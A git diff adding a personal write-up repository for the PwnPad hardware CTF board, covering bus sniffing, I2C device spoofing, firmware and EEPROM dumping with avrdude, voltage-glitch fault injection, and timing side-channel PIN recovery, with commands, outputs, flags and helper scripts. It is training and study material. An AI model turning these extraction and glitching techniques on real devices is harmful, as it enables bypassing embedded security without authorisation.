+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
